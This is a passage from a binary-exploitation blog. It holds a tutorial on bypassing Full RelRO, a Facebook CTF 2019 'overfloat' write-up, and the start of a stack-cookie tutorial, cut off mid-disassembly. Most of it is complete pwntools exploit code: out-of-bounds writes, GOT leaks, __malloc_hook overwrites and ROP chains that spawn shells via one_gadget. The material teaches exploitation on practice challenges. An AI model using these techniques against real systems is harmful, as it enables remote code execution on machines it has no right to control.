made0x78 Security

Binary Exploitation Series (7): Full RelRO Bypass

2019-06-12T00:00:00+00:00

Hello everyone! Today we are going to bypass Full RelRO by using a relative write out-of-bounds vulnerability. Like last time, we have access to the binary (no libc provided) and we have to leak some information to identify the correct libc version. You can download the challenge along with the source code.

gef➤  checksec
[+] checksec for './notes'
Canary                        : Yes
NX                            : Yes
PIE                           : No
Fortify                       : No
RelRO                         : Full

ASLR is activated ;-)

Relocation Read-Only (RelRO)

If we have the possibility to abuse a vulnerability to write to arbitrary locations in memory (e.g. format string attacks, control over pointers, out-of-bounds write …) instead of a basic buffer overflow vulnerability like last times, we need to figure out how to get control over the execution flow (RIP/EIP). One way to achieve this is to overwrite the Global Offset Table (GOT) which is a look-up table for dynamically linked ELF binaries to resolve functions that are located in shared libraries. For example, our target uses the function puts. We could overwrite the entry for puts in the GOT with 0x4141414141414141 and the next time the function is called it would jump to our specified address. To prevent such attacks RelRO was introduced. If fully activated, the linker resolves all the functions the binary uses at the beginning of execution and sets the GOT as read-only. More details at www.redhat.com

In the following, we have a comparison of the notes challenge where we can see that the functions are successfully resolved during startup. Each compiled challenge is started in gdb with the command start

Partial RelRO active (not read only, no resolves at startup):

gef➤  disassemble main
 ...
 0x0000000000400d63 <+160>:   call   0x400720 <memset@plt>
 0x0000000000400d68 <+165>:   jmp    0x400d0b <main+72>
End of assembler dump.

gef➤  disassemble 0x400720
Dump of assembler code for function memset@plt:
 0x0000000000400720 <+0>:     jmp    QWORD PTR [rip+0x20191a] # 0x602040
 0x0000000000400726 <+6>:     push   0x5
 0x000000000040072b <+11>:    jmp    0x4006c0
End of assembler dump.

gef➤  x/20gx 0x602040
// calls for dynamic resolver
// e.g. memset@plt
0x602040:       0x0000000000400726      0x0000000000400736
0x602050:       0x0000000000400746      0x0000000000400756

After the first resolve, the pointer at 0x602040 would be replaced with the real address of memset located in libc.

Full RelRO active:

gef➤  disassemble main
 ...
 0x0000000000400d63 <+160>:   call   0x400720 <memset@plt>
 0x0000000000400d68 <+165>:   jmp    0x400d0b <main+72>
End of assembler dump.

gef➤  disassemble 0x400720
Dump of assembler code for function memset@plt:
   0x0000000000400720 <+0>:     jmp    QWORD PTR [rip+0x2018a2] # 0x601fc8
   0x0000000000400726 <+6>:     push   0x5
   0x000000000040072b <+11>:    jmp    0x4006c0
End of assembler dump.

gef➤  x/20gx 0x601fc8
//libc functions already resolved
0x601fc8:       0x00007ffff7b72f50      0x00007ffff7a8de70
0x601fd8:       0x00007ffff7b72ad0      0x00007ffff7a7b070

Libc (vmmap)
0x00007ffff79e4000 0x00007ffff7bcb000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libc-2.27.so

Target

The target is a little bit longer than before but not complex. We have a “customer line” and each customer has the opportunity to save, edit and show a note. A customer has 3 options to edit a note:

Replace substring
Replace character at position
Overwrite whole note

Read the source code, play with the binary and understand the behavior of the challenge.

Analysis & Exploitation

In one of the edit functions is a vulnerability which will lead to an out-of-bounds write. Try to find the vulnerability by yourself.

Hint: In the second option!

Okay, did you find it?
Let’s analyze the function:

void string_replace_char()
{
    int pos;
    char character;
    char input[5];

    while(1)
    {
        printf("Usage: <position>,<new character>\n> ");
        scanf(" %d,%c", &pos, &character);

        if(pos >= MAX_BUF-1)
        {
            puts("Result is out of range.");
            return;
        }

        note[pos] = character;
        printf("Your current note is %s\n", note);

        puts("Done? (YES) ");
        scanf(" %4s", input);
        if(strcmp(input, "YES") == 0 || strcmp(input, "yes") == 0)
        {
            puts("Saved!\n");
            return;
        }
    }
}

First, some variables are defined which are later used to replace one character at the time. After that, we can use a command-line style replace function to replace characters in our note. The first thing to notice is, that we could overwrite a null byte if our string is smaller than the max length. But since the note is always cleared with memset for each customer we cannot abuse this to leak data of a previous customer. If we look carefully we can see that the position is verified with if(pos >= MAX_BUF-1). But as we remember, the position variable is defined as a (signed) integer and therefore, we can also use negative values! A possible fix would be a change of the type to unsigned int.

Let’s confirm the relative out-of-bounds write. Steps to reproduce:

Start the challenge: gdb notes -> run
Enter customer name: “AAAA”
Enter new note
- Option “2”
- “BBBB”
Edit note with character replace
- “3”
- “2”
- “-1,C”
- “-2,C”
CTRL-C

Use the command vmmap to display the virtual memory map.

gef➤  vmmap
Start              End                Offset             Perm Path
0x0000000000400000 0x0000000000402000 0x0000000000000000 r-x /.../notes
0x0000000000601000 0x0000000000602000 0x0000000000001000 r-- /.../notes
0x0000000000602000 0x0000000000603000 0x0000000000002000 rw- /.../notes
0x0000000000603000 0x0000000000624000 0x0000000000000000 rw- [heap]

Examine the memory:

gef➤  x/20gx 0x0000000000602000
0x602000:       0x0000000000000000      0x0000000000000000
0x602010:       0x0000000000000000      0x0000000000000000
0x602020 <stdout@@GLIBC_2.2.5>: 0x00007ffff7dd0760      0x0000000000000000
0x602030:       0x0000000000000000      0x0000000000000000
0x602040 <stderr@@GLIBC_2.2.5>: 0x00007ffff7dd0680      0x0000000000000000
0x602050:       0x0000000000000000      0x0000000000000000
0x602060 <customer_name>:       0x0000000000603260      0x0000000000000000
0x602070:       0x0000000000000000      0x4343000000000000
0x602080 <note>:        0x0000000042424242      0x0000000000000000
0x602090 <note+16>:     0x0000000000000000      0x0000000000000000

If we take a look at the line with address 0x602070 we see our C’s (0x43) which are definitely out of bounds because the note starts at 0x602080. We confirmed an out-of-bounds write with negative values. That means, that we can overwrite everything before the note array. In this case, the customer_name is interesting because it is a pointer to a string in the heap (allocated via malloc in main()). It is also possible to write to its destination (via “Who is next?” in main()) and we can read the value (printf in serve() and main()). Very powerful!

During exploit development, you should start writing your exploit as soon as possible. Multiple tasks can be easily automated and will save you a lot of time. So, let’s start writing our exploit!

Steps:

Load and start the binary via process of pwntools
Define functions for different parts of the application
- recv_help
- save_note
- …
Get control over customer_name
Leak libc pointer via GOT (read is still possible)
Identify libc version
Compute libc base address
Set a malloc hook (more later) in libc to point to 0x4141414141414141
Find one-shot gadgets and set the malloc hook to point to the gadget
Profit!

The first two parts are easy and only the code will be shown here. Try it by yourself. :)

from pwn import process, remote, gdb, context, p64, u64, ELF, log
from binascii import hexlify

libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
chal = ELF("./notes")
r = process("./notes")

gdb.attach(r.pid,"""
""")

def recv_help():
    r.recvuntil("want to do, ")
    r.recvuntil("?\n")

def save_note(note):
    r.sendline("2")
    r.recvuntil("?")
    r.sendline(note)

# Who is next?
r.recvuntil("next?")
r.sendline("AAAA") # dummy

recv_help()
save_note("BBBB") # dummy
recv_help()

r.interactive() # keeps everything open

We created a customer and successfully saved a note. Next, we have to find the offset to the customer_name. This can be done with gdb. Run the script, go to the gdb window, type continue and let it run. After it has paused (reads from stdin), we press CTRL-C to be able to type gdb commands. We show the memory map and print the section where the not initialized variables are stored.

gef➤  vmmap
Start              End                Offset             Perm Path
0x0000000000400000 0x0000000000402000 0x0000000000000000 r-x /.../notes
0x0000000000601000 0x0000000000602000 0x0000000000001000 r-- /.../notes
0x0000000000602000 0x0000000000603000 0x0000000000002000 rw- /.../notes
0x0000000000795000 0x00000000007b6000 0x0000000000000000 rw- [heap]

gef➤  x/20gx 0x0000000000602000
0x602000:    0x0000000000000000    0x0000000000000000
0x602010:    0x0000000000000000    0x0000000000000000
0x602020 <stdout@@GLIBC_2.2.5>:    0x00007f95b4b01760    0x0000000000000000
0x602030:    0x0000000000000000    0x0000000000000000
0x602040 <stderr@@GLIBC_2.2.5>:    0x00007f95b4b01680    0x0000000000000000
0x602050:    0x0000000000000000    0x0000000000000000
0x602060 <customer_name>:    0x0000000000795260    0x0000000000000000
0x602070:    0x0000000000000000    0x0000000000000000
0x602080 <note>:    0x0000000042424242    0x0000000000000000
0x602090 <note+16>:    0x0000000000000000    0x0000000000000000

Okay, note is at 0x602080 and our customer_name pointer is at 0x602060. This is a difference of 0x20 (32). Therefore, we can overwrite the pointer at offset -32 via the character replace mechanism.

To make everything reusable and easy to use we define another function. This function implements the behavior of the edit function with character replace. It supports also strings because the string is enumerated while the offset is increased. Therefore, we can write arbitrary byte sequences relative to our note array. (As long as the index is smaller than MAX_BUF-1)

def write(offset, data):
    log.debug("Write(hex): %s @ %d"  % (hexlify(data), offset))
    r.sendline("3")
    r.recvuntil("note\n")
    r.sendline("2")

    for idx, byte in enumerate(data):
        r.recvuntil("\n>")
        r.sendline(str(offset+idx) + "," + byte)
        r.recvuntil("Done? (YES) ")
        r.sendline("NO")

    #send dummy and save
    r.recvuntil("\n>")
    r.sendline("0,A")
    r.sendline("YES")
    r.recvuntil("Saved!\n")

Now, we can use the function as follows:

write(-32, p64(0x4141414141414141))

Id 1, Name: "notes", stopped, reason: SIGSEGV
...
gef➤  x/20gx 0x0000000000602000
0x602000:    0x0000000000000000    0x0000000000000000
0x602010:    0x0000000000000000    0x0000000000000000
0x602020 <stdout@@GLIBC_2.2.5>:    0x00007fad4ad4d760    0x0000000000000000
0x602030:    0x0000000000000000    0x0000000000000000
0x602040 <stderr@@GLIBC_2.2.5>:    0x00007fad4ad4d680    0x0000000000000000
0x602050:    0x0000000000000000    0x0000000000000000
0x602060 <customer_name>:    0x4141414141414141    0x0000000000000000
0x602070:    0x0000000000000000    0x0000000000000000
0x602080 <note>:    0x0000000042424241    0x0000000000000000
0x602090 <note+16>:    0x0000000000000000    0x0000000000000000

We successfully overwrote the customer_name and the application crashed because the address 0x4141414141414141 is not mapped and cannot be resolved by the following printf in serve().

Next, we have to leak libc function addresses. Let’s get the GOT offsets:

$ objdump -R notes

notes:     file format elf64-x86-64

DYNAMIC RELOCATION RECORDS
OFFSET           TYPE              VALUE
0000000000601ff0 R_X86_64_GLOB_DAT   __libc_start_main@GLIBC_2.2.5
0000000000601ff8 R_X86_64_GLOB_DAT   __gmon_start__
0000000000602020 R_X86_64_COPY       stdout@@GLIBC_2.2.5
0000000000602040 R_X86_64_COPY       stderr@@GLIBC_2.2.5
0000000000601fa0 R_X86_64_JUMP_SLOT  puts@GLIBC_2.2.5
0000000000601fa8 R_X86_64_JUMP_SLOT  strlen@GLIBC_2.2.5
0000000000601fb0 R_X86_64_JUMP_SLOT  __stack_chk_fail@GLIBC_2.4
0000000000601fb8 R_X86_64_JUMP_SLOT  setbuf@GLIBC_2.2.5
0000000000601fc0 R_X86_64_JUMP_SLOT  printf@GLIBC_2.2.5
0000000000601fc8 R_X86_64_JUMP_SLOT  memset@GLIBC_2.2.5
0000000000601fd0 R_X86_64_JUMP_SLOT  strcmp@GLIBC_2.2.5
0000000000601fd8 R_X86_64_JUMP_SLOT  memcpy@GLIBC_2.14
0000000000601fe0 R_X86_64_JUMP_SLOT  malloc@GLIBC_2.2.5
0000000000601fe8 R_X86_64_JUMP_SLOT  __isoc99_scanf@GLIBC_2.7

or use pwntools again:

chal = ELF("./notes")
chal.got["puts"]

We just have to take an offset to a function in the GOT, overwrite the customer_name and exit the edit function to print the customer_name in serve(). For that, we have to edit our recv_help function to return the leak

# return leak
def recv_help():
    r.recvuntil("want to do, ")
    leak = r.recvuntil("?\n")[:-2]
    return leak

and leak the pointer

write(-32, p64(chal.got["puts"])) # GOT offset of puts
leak = recv_help()
# Pad leak with null bytes to use u64
# e.g. \x41\x41\x41 would be \x41\x41\x41\x00\x00\x00\x00\x00
leak = u64(leak.ljust(8, "\x00"))
log.info("puts @ " + hex(leak))

r.interactive()

Verify it with gdb:

gef➤  p puts
$1 = {int (const char *)} 0x7f70208839c0 <_IO_puts>

Script output:
...
[*] puts @ 0x7f70208839c0
...

We can leak more pointers and identify the libc version with blukat.me like in Chapter 4. Furthermore, we can compute the libc base which can be verified in gdb (vmmap).

libc_base = leak - libc.symbols["puts"]
log.info("libc base @ " + hex(libc_base))

“The GNU C Library lets you modify the behavior of malloc, realloc, and free by specifying appropriate hook functions.” [Hooks-for-Malloc] To get RIP control we can modify these hooks of libc. First, compute the hooks address in memory based on the libc leaks.

malloc_hook_address = libc_base + libc.symbols["__malloc_hook"]
log.info("__malloc_hook @ %s" % hex(malloc_hook_address))

Set the customer_name pointer and use it to overwrite the “customer name” via scanf (in main()) which points to the hook.

# point customer_name to __malloc_hook
write(-32, p64(malloc_hook_address))

# exit and trigger next customer
r.sendline("5") # exit

# Who is next?
r.recvuntil("next?")
r.sendline(p64(0x4141414141414141))

save_note("DUMMY")
r.sendline("3")
r.recvuntil("note\n")
r.sendline("2")
r.sendline("0"*0x10000 + ",A") # trigger __malloc_hook

Segfault! We successfully overwrote the hook and got control over execution flow.

0x7f8d1958f27b <malloc+523>     jmp    rax

-> $rax   : 0x4141414141414141

The final step is to find suitable one-shot gadgets and trigger an execve to get a shell.

one_gadget <identified libc>

0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c        execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

Of course, you have to try all if some are not working because some constraints are not met.

one_gadget = libc_base + 0x4f322

# Who is next?
r.recvuntil("next?")
r.sendline(p64(one_gadget))

....

r.sendline("0"*0x10000 + ",A") # trigger __malloc_hook
r.sendline("ls;")
r.interactive()

Using the second gadget we notice that on each run the response is different. This is because the values on the stack are different on each run and we have to try it more than once. After some tries, we get a response from the target and we executed our commands.

....
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000,A: File name too long
    notes.c  notes           

Now let’s try it remotely. Spawn the challenge with socat (apt install socat) at port 1337

socat tcp-l:1337,reuseaddr,fork system:"timeout 60 ./notes"

and test the connection:

$ nc localhost 1337
Who is next?
AAAA
#############
1 - HELP
2 - Save note
3 - Edit note
4 - Show note
5 - Exit
#############

Modify the exploit and run it against the remote target. Note that if you have a different libc version on your system you would have to adjust the libc path to the remote one. Furthermore, you would have to change the one-shot gadget.

#r = process("./notes")
r = remote("localhost", 1337)

#gdb.attach(r.pid,"""
#""")
...

$ python exploit.py
[*] '/lib/x86_64-linux-gnu/libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to localhost on port 1337: Done
[*] puts @ 0x7f91453009c0
[*] libc base @ 0x7f9145280000
[*] __malloc_hook @ 0x7f914566bc30
[*] Switching to interactive mode

Usage: <position>,<new character>
> notes
notes.c
$ id
uid=1000(work) gid=1000(work)
$  

Yay! We got a shell and successfully bypassed RelRO! Interesting how such a small bug (signed integer and no negative value checks) can lead to full control over a remote system.
Happy Hacking!

Facebook CTF 2019: overfloat

2019-06-03T00:00:00+00:00

overfloat was an entry challenge of the pwnable category of the Facebook CTF 2019. A binary and a libc were provided (Original tar). You can find the full exploit at the end of this post.

The application itself is straightforward. You have a command-line input where you can specify a longitude and latitude.

./overfloat
                                 _ .--.
                                ( `    )
                             .-'      `--,
                  _..----.. (             )`-.
                .'_|` _|` _|(  .__,           )
               /_|  _|  _|  _(        (_,  .-'
              ;|  _|  _|  _|  '-'__,--'`--'
              | _|  _|  _|  _| |
          _   ||  _|  _|  _|  _|
        _( `--.\_|  _|  _|  _|/
     .-'       )--,|  _|  _|.`
    (__, (_      ) )_|  _| /
      `-.__.\ _,--'\|__|__/
                    ;____;
                     \YT/
                      ||
                     |""|
                     '=='

WHERE WOULD YOU LIKE TO GO?
LAT[0]: 1
LON[0]: 1
LAT[1]: done
BON VOYAGE!

You can even set multiple values …. and write out-of-bounds.

...
WHERE WOULD YOU LIKE TO GO?
LAT[0]: 1
LON[0]: 1
LAT[1]: 1
LON[1]: 1
LAT[2]: 1
LON[2]: 1
LAT[3]: 1
LON[3]: 1
LAT[4]: 1
LON[4]: 1
LAT[5]: 1
LON[5]: 1
LAT[6]: 1
LON[6]: 1
LAT[7]: 1
LON[7]: 1
LAT[8]: 1
LON[8]: 1
LAT[9]: 1
LON[9]: 1
LAT[0]: 1
LON[0]: 1
LAT[1]: 1
LON[1]: 1
LAT[2]: 1
LON[2]: 1
LAT[3]: 1
LON[3]: 1
LAT[4]: 1
LON[4]: 11
LAT[5]: done
BON VOYAGE!
[1]    5978 segmentation fault  ./overfloat

Run it again with gdb. Segfault!

Id 1, Name: "overfloat", stopped, reason: SIGSEGV

0x00007fffffffdff8│+0x0000: 0x3f8000003f800000   ← $rsp
0x00007fffffffe000│+0x0008: 0x3f8000003f800000
0x00007fffffffe008│+0x0010: 0x3f8000003f800000
0x00007fffffffe010│+0x0018: 0x3f8000003f800000
0x00007fffffffe018│+0x0020: 0x3f8000003f800000
0x00007fffffffe020│+0x0028: 0x3f8000003f800000

Since the challenge is named overfloat we can guess that it has something to do with floats. If we look carefully we can see that 0x3f800000 represents the float 1.0.

In [27]: import binascii

In [28]: binascii.hexlify(struct.pack('f', 1.0))
Out[28]: '0000803f'

That means, we can write arbitrary floating point numbers on the stack. Let’s try it!

Convert a 4 byte array to a floating point …

def byte_to_float(data):
    if len(data) != 4:
        log.error("Length of data should be 4")
        sys.exit(0)
    return str(struct.unpack('f', bytes(data))[0])

… and overflow the array

for i in range(100):
    tosend = byte_to_float("A"*4)
    r.sendline(tosend)

# trigger return to main
# BOF at end of main -> ret
r.sendline("done")

r.interactive()

Segfault and we see a lot of A’s (0x41) :)

gef➤  x/20wx $rsp
0x7ffe9dcc6c78: 0x41414141      0x41414141      0x41414141      0x41414141
0x7ffe9dcc6c88: 0x41414141      0x41414141      0x41414141      0x41414141
0x7ffe9dcc6c98: 0x41414141      0x41414141      0x41414141      0x41414141
0x7ffe9dcc6ca8: 0x41414141      0x41414141      0x41414141      0x41414141
0x7ffe9dcc6cb8: 0x41414141      0x41414141      0x41414141      0x41414141

Now, we have to find the offset to overwrite the saved return address. Because we are lazy we change our loop and just look for the right value.

for i in range(100):
    tosend = byte_to_float(chr(i)*4)
    r.sendline(tosend)

r.sendline("done")
r.interactive()

gdb after segfault:
0x00007ffe151cbf08│+0x0000: 0x0f0f0f0f0e0e0e0e   ← $rsp

Offset is 0xe. The next step is to define a function for an 8-byte write (64-bit challenge).

def write_8_bytes(data):
    tosend = byte_to_float(data[:4])
    r.sendline(tosend)
    tosend = byte_to_float(data[4:])
    r.sendline(tosend)

Furthermore, we can leak the address of puts via the GOT and jump back to the beginning of the application to exploit the vulnerability a second time but we have more information about the environment (leak of libc base). Therefore, we need a gadget to call puts with the correct pointer. We use ropper to look for a suitable gadget.

# ropper --console -f ./overfloat
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
(overfloat/ELF/x86_64)> search pop rdi
[INFO] Searching for gadgets: pop rdi

[INFO] File: ./overfloat
0x0000000000400a83: pop rdi; ret;

# Begin of ROP chain
# gadget from ropper
pop_rdi = 0x0000000000400a83 #: pop rdi; ret;

# ret to gadget
write_8_bytes(p64(pop_rdi))
# read GOT, first argument of puts
write_8_bytes(p64(chal.got["puts"]))
# call puts
write_8_bytes(p64(chal.symbols["puts"]))

# jump to beginning
# next return after puts
start = 0x400993
write_8_bytes(p64(start))

# End of ROP chain

# trigger vulnerability
r.sendline("done")
r.recvuntil("VOYAGE!")
r.recvline() # empty line
# receive leak via puts
res = r.recvline()[:-1]
print("puts @  " + hex(u64(res.ljust(8, "\x00"))))
puts_address = u64(res.ljust(8, "\x00"))

libc_base = puts_address - libc.symbols["puts"]
print("libc @  " + hex(libc_base))

# interact with the application again
# from the beginning ;)
# remove it for the next part
r.interactive()

[+] Waiting for debugger: Done
puts @  0x7f3064d58910
libc @  0x7f3064ce7000
...

After that, we can easily call a one-shot gadget

//local libc
# one_gadget /lib/x86_64-linux-gnu/libc.so.6
0x4484f execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x448a3 execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xe5456 execve("/bin/sh", rsp+0x60, environ)
constraints:
  [rsp+0x60] == NULL

// remote libc
# one_gadget libc-2.27.so
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

and get a shell.

if debug:
    one_gagdet = libc_base + 0x4484f
else:
    one_gagdet = libc_base + 0x4f2c5

# exploit a second time
r.recvuntil("LIKE TO GO?")
r.recvline()

for i in range(0xe):
    tosend = byte_to_float(chr(i)*4)
    r.sendline(tosend)

# one gadget
write_8_bytes(p64(one_gagdet))

# trigger vulnerability and spawn shell via one gadget
r.sendline("done")

r.interactive()

[+] Waiting for debugger: Done
puts @  0x7fd6ced34910
libc @  0x7fd6cecc3000
[*] Switching to interactive mode
LAT[0]: LON[0]: LAT[1]: LON[1]: LAT[2]: LON[2]: LAT[3]: LON[3]: LAT[4]: LON[4]: LAT[5]: LON[5]: LAT[6]: LON[6]: LAT[7]: LON[7]: LAT[8]: BON VOYAGE!
$ id
uid=0(root) gid=0(root) groups=0(root)

Disable debug mode and get the flag. :)

[+] Opening connection to challenges.fbctf.com on port 1341: Done
puts @  0x7f4d087519c0
libc @  0x7f4d086d1000
[*] Switching to interactive mode
LAT[0]: LON[0]: LAT[1]: LON[1]: LAT[2]: LON[2]: LAT[3]: LON[3]: LAT[4]: LON[4]: LAT[5]: LON[5]: LAT[6]: LON[6]: LAT[7]: LON[7]: LAT[8]: BON VOYAGE!
$ cat /home/overfloat/flag
fb{FloatsArePrettyEasy...}

Full (quick and dirty) exploit:

from pwn import *
import struct
import sys
import binascii

chal = ELF("./overfloat")

debug = False
if debug:
    r = process("./overfloat")
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    gdb.attach(r, '''
    ''') #b*0x0000000000400a83
else:
    libc = ELF("./libc-2.27.so")
    r = remote("challenges.fbctf.com", 1341)

def byte_to_float(data):
    if len(data) != 4:
        log.error("Length of data should be 4")
        sys.exit(0)
    return str(struct.unpack('f', bytes(data))[0])

r.recvuntil("LIKE TO GO?")
r.recvline()
for i in range(0xe):
    tosend = byte_to_float(chr(i)*4)
    r.sendline(tosend)

def write_8_bytes(data):
    tosend = byte_to_float(data[:4])
    r.sendline(tosend)
    tosend = byte_to_float(data[4:])
    r.sendline(tosend)

pop_rdi = 0x0000000000400a83 #: pop rdi; ret;

# ret
write_8_bytes(p64(pop_rdi))
# GOT
write_8_bytes(p64(chal.got["puts"]))
# call puts
write_8_bytes(p64(chal.symbols["puts"]))

# jump to beginning
start = 0x400993
write_8_bytes(p64(start))

r.sendline("done")
r.recvuntil("VOYAGE!")
r.recvline() # empty line
res = r.recvline()[:-1]
print("puts @  " + hex(u64(res.ljust(8, "\x00"))))
puts_address = u64(res.ljust(8, "\x00"))

libc_base = puts_address - libc.symbols["puts"]
print("libc @  " + hex(libc_base))

if debug:
    one_gagdet = libc_base + 0x4484f
else:
    one_gagdet = libc_base + 0x4f2c5

# exploit a second time
r.recvuntil("LIKE TO GO?")
r.recvline()
for i in range(0xe):
    tosend = byte_to_float(chr(i)*4)
    r.sendline(tosend)

# one gadget
write_8_bytes(p64(one_gagdet))
r.sendline("done")

r.interactive()

This was a good beginner challenge and the first time I used floating points to write my payload.

Happy Hacking!

Binary Exploitation Series (6): Defeating Stack Cookies

2019-03-15T00:00:00+00:00

Today we are going to defeat stack cookies in two different ways. We have access to the binary and we need to leak some information about its environment to write our exploit. As always, you can download the challenge.
This time we have stack cookies (Canary: Yes) enabled.

gef➤  checksec
[+] checksec for './cookies'
Canary                        : Yes →  value: 0xf28cd8655c310f00
NX                            : Yes
PIE                           : No
Fortify                       : No
RelRO                         : Partial

ASLR is activated ;-)

We’ll start by understanding what a stack cookie/canary is and what it protects. In general, a stack cookie is a randomly chosen value (4 or 8 bytes long) which is always put before the saved base pointer on the stack. Before a function returns the stack cookie will always be checked for correctness. If it is modified a program will just crash and a possible malicious code won’t be executed. This gives us a certain amount of security if a stack buffer overflow occurs because it protects us against control over the return address of the program. But there are multiple problems with stack cookies.
The first problem is that we can still overflow all variables which are between our buffer and the stack cookie. Second, if the program forks it is possible to leak the stack cookie because it has the same value in each child process. Third problem, if the target does not have a classic buffer overflow e.g. a format string vulnerability or a relative write out of bounds via an array, we could still bypass the stack cookie and write directly to certain addresses. So, stack cookies are somewhat good protection against non-forked programs with stack buffer overflow vulnerabilities but for other scenarios, this protection is easy to bypass.
Note, that stack cookies always have a null byte as the least significant byte because some functions will stop reading data if a null byte is sent. Therefore, an attacker would not be able to brute force or even send a stack cookie, if it is known, because the function would stop reading at the null byte.

Target

The target is again very simple. We have a basic socket server that can handle multiple connections and therefore spawns child processes (fork) for each request. The vulnerability is in the function serve by reading 2048 bytes into a 1024 buffer.

#include <stdio.h>
#include <stdlib.h>
#include <netdb.h>
#include <netinet/in.h>
#include <string.h>
#include <unistd.h>
#include <netinet/tcp.h>

//gcc -m64 cookies.c -o cookies -no-pie

void serve(int sock)
{
    char buffer[1024];

    // recv data
    recv(sock, buffer, 2048, 0);

    // send the message back
    send(sock, buffer, strlen(buffer), 0);
}

int main(int argc, char *argv[])
{
    int sockfd, newsockfd, portno, clilen;
    struct sockaddr_in serv_addr, cli_addr;
    int n, pid;

    sockfd = socket(AF_INET, SOCK_STREAM, 0);

    if (sockfd < 0)
    {
        perror("ERROR opening socket");
        exit(1);
    }

    bzero((char *)&serv_addr, sizeof(serv_addr));
    portno = 1234;

    serv_addr.sin_family = AF_INET;
    serv_addr.sin_addr.s_addr = INADDR_ANY;
    serv_addr.sin_port = htons(portno);

    if (bind(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0)
    {
        perror("ERROR on binding");
        exit(1);
    }

    listen(sockfd, 3);
    clilen = sizeof(cli_addr);

    while (1)
    {
        newsockfd = accept(sockfd, (struct sockaddr *)&cli_addr, &clilen);

        if (newsockfd < 0)
        {
            perror("ERROR on accept");
            exit(1);
        }

        pid = fork();

        if (pid < 0)
        {
            perror("ERROR on fork");
            exit(1);
        }

        if (pid == 0)
        {
            close(sockfd);
            write(newsockfd, "Welcome to the best echo service in the world!\n", 47);
            serve(newsockfd);
            send(newsockfd, "Goodbye!\n", strlen("Goodbye!\n"), 0);
            close(newsockfd);
            exit(0);
        }
        else
        {
            close(newsockfd);
        }
    }
}

Analysis

We’ll start our exercise by executing the binary with ./cookies and we try to connect with nc localhost 1234 to get a first impression of the software.

nc localhost 1234
Welcome to the best echo service in the world!
Test
Test

Goodbye!

Okay, we can enter some text which is saved to the buffer. We enter an arbitrary string and we can overflow the buffer of 1024 bytes.
Let’s start playing around!
Attach gdb to the process:

gdb -q ./cookies
gef➤ set follow-fork-mode child
gef➤ !pidof cookies
<pid>
gef➤ attach <pid>
gef➤ continue

We set the option follow-fork-mode child to debug the child process if the master process forks. After that, we attach to the process of the master process by using the command !pidof cookies to get the process ID and the command attach <pid> to attach to the process.
To begin our analysis, we start writing our exploit with python. First, we connect to the remote target and send our payload.

from pwn import *

r = remote("localhost", 1234)

r.clean()
r.sendline("A"*5000)

r.interactive()

Let’s look into gdb:

[#0] Id 1, Name: "cookies", stopped, reason: SIGABRT
....
gef➤  backtrace                                                                                                              
#0  __GI_raise (sig=sig@entry=0x6) at ../sysdeps/unix/sysv/linux/raise.c:51                                            
#1  0x00007fb6b9ded801 in __GI_abort () at abort.c:79
#2  0x00007fb6b9e36897 in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7fb6b9f63988 "*** %s ***: %s terminated\n") at ../sysdeps/posix/libc_fatal.c:181
#3  0x00007fb6b9ee1cd1 in __GI___fortify_fail_abort (need_backtrace=need_backtrace@entry=0x0, msg=msg@entry=0x7fb6b9f63966 "stack smashing detected") at fortify_fail.c:33
#4  0x00007fb6b9ee1c92 in __stack_chk_fail () at stack_chk_fail.c:29     
#5  0x0000000000400985 in serve ()                
#6  0x4141414141414141 in ?? ()                                          
#7  0x4141414141414141 in ?? ()              
#8  0x4141414141414141 in ?? ()
....

We got a SIGABRT and the reason for that seems to be a wrong stack cookie (#4 0x00007fb6b9ee1c92 in __stack_chk_fail ()).
Let’s examine the crash in detail. The item #5 of the back trace gives us a first indicator from where this __stack_chk_fail function is called. To find out what is happening we disassemble the serve function.

gef➤  disassemble serve
Dump of assembler code for function serve:
   0x0000000000400907 <+0>:     push   rbp
   0x0000000000400908 <+1>:     mov    rbp,rsp
   0x000000000040090b <+4>:     sub    rsp,0x420
   0x0000000000400912 <+11>:    mov    DWORD PTR [rbp-0x414],edi
   0x0000000000400918 <+17>:    mov    rax,QWORD PTR fs:0x28
   0x0000000000400921 <+26>:    mov    QWORD PTR [rbp-0x8],rax
   0x0000000000400925 <+30>:    xor    eax,eax
   0x0000000000400927 <+32>:    lea    rsi,[rbp-0x410]
   0x000000000040092e <+39>:    mov    eax,DWORD PTR [rbp-0x414]
   0x0000000000400934 <+45>:    mov    ecx,0x0
   0x0000000000400939 <+50>:    mov    edx,0x800
   0x000000000040093e <+55>:    mov    edi,eax
   0x0000000000400940 <+57>:    call   0x400730 <recv@plt>
   0x0000000000400945 <+62>:    lea    rax,[rbp-0x410]
   0x000000000040094c <+69>:    mov    rdi,rax
   0x000000000040094f <+72>:    call   0x400750 <strlen@plt>
   0x0000000000400954 <+77>:    mov    rdx,rax
   0x0000000000400957 <+80>:    lea    rsi,[rbp-0x410]
   0x000000000040095e <+87>:    mov    eax,DWORD PTR [rbp-0x414]
   0x0000000000400964 <+93>:    mov    ecx,0x0
   0x0000000000400969 <+98>:    mov    edi,eax
   0x000000000040096b <+100>:   call   0x400780 <send@plt>
   0x0000000000400970 <+105>:   nop
   0x0000000000400971 <+106>:   mov    rax,QWORD PTR [rbp-0x8]
